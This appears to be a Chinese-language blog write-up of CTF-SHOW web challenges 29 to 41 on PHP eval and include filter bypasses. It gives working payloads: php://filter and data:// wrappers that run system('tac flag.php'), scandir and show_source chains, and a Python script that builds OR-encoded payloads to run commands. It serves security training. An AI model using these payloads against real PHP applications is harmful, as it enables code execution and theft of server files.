0%

CTF-SHOW刷题记录Web3

CTF SHOW

web29~124

Web29

题目

1
2
3
4
<?php
?>&1=php://filter/convert.base64-encode/resource=flag.php #这是sdellone的payload

c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php #这是我的payload

其实两者的差距只在于一个%0a,改不改无所谓,下面解释各成分作用

  • 首先是include+参数1,作用是包含参数1的文件,运用了文件包含漏洞,最后的文件名字可以改为/etc/passwd和nginx的日志文件来定位flag位置
  • 然后是%0a作用,这是url回车符,因为空格被过滤。事实上,删去也无所谓,似乎php会自动给字符串和变量间添加空格(经检验,只在eval中有效,echo中无效,还是得要空格)
  • 后面的?>的作用是作为绕过分号,作为语句的结束。原理是:php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。
  • 在c中引用了参数1,然后&后对参数1定义,运用文件包含漏洞

    还可以使用data伪协议日志注入

Web33

比起上道题多过滤了

使用文件包含漏洞一样的

Web34

比起上道题多过滤了 :

检查的内容只有c,而c?>已经闭合了,不影响后续的1

Web35

比起上道题多过滤了 <, =

还是一样的

Web36

比起上到题多过滤了/[0-9]

那需要修改一下传入的文件名

1
c=include$_GET[a]?%3E&a=php://filter/convert.base64-encode/resource=flag.php

Web37

题目

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}

题目分析

这里不再是eval而是include

下方打印了flag,所以c中必需包含flag.txt的内容

这里需要用到data伪协议

1
2
3
?c=data://text/plain,<?php system("tac flag.php")?>
#忘了这里对flag过滤进行绕过了,实则可以使用base64加密或者通配符
?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=

Web38

题目

1
2
3
4
5
//flag in flag.php
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;

比起上题多过滤了phpfile

一样的,用data伪协议和base64加密即可

Web39

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}
>

这次在后面拼接上了.php

.是php的字符串拼接符

但其实这个拼接没有任何作用

先让我们来看看答案

1
?c=data://text/plain,<?= system('tac fla*');?>

可以看到已经使用?>进行闭合了,那么php代码已经执行完毕并结束了。

强制给include添加后缀无法阻止伪协议内的php代码执行,只会在代码执行后报错

Web40

题目

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}

这里把数字和几乎所有符号都过滤了,但是括号是中文括号,阴得没边了

做题思路

  1. 得到当前目录
1
?c=print_r(getcwd());
  1. 访问目录下文件
1
?c=print_r(scandir(getcwd()));

得到flag在目录下第三个文件中(倒数第二个)image-20250312150246343

为了减少next的使用

数组移动操作

end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动

所以倒置一下目录

  1. 倒置目录
1
?c=print_r(array_reverse(scandir(getcwd())));

image-20250312151309809

  1. 数组指针后移
1
?c=print_r(next(array_reverse(scandir(getcwd()))));
  1. 读取flag.php
1
?c=print_r(show_source(next(array_reverse(scandir(getcwd())))));

image-20250312153231369

Web41

题目

1
2
3
4
5
6
7
8
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}

比起上道题,这道题过滤掉了所有字母,而且注意使用的是POST传参

可以看到还剩下一个 | 没有被过滤

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import re
import urllib
from urllib import parse
import requests

contents = []

for i in range(256):
for j in range(256):
hex_i = '{:02x}'.format(i)
hex_j = '{:02x}'.format(j)
preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
continue
else:
a = '%' + hex_i
b = '%' + hex_j
c = chr(int(a[1:], 16) | int(b[1:], 16))
if 32 <= ord(c) <= 126:
contents.append([c, a, b])


def make_payload(cmd):
payload1 = ''
payload2 = ''
for i in cmd:
for j in contents:
if i == j[0]:
payload1 += j[1]
payload2 += j[2]
break
payload = '("' + payload1 + '"|"' + payload2 + '")'
return payload


URL = input('url:')
payload = make_payload('system') + make_payload('cat flag.php')
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
print(response.text)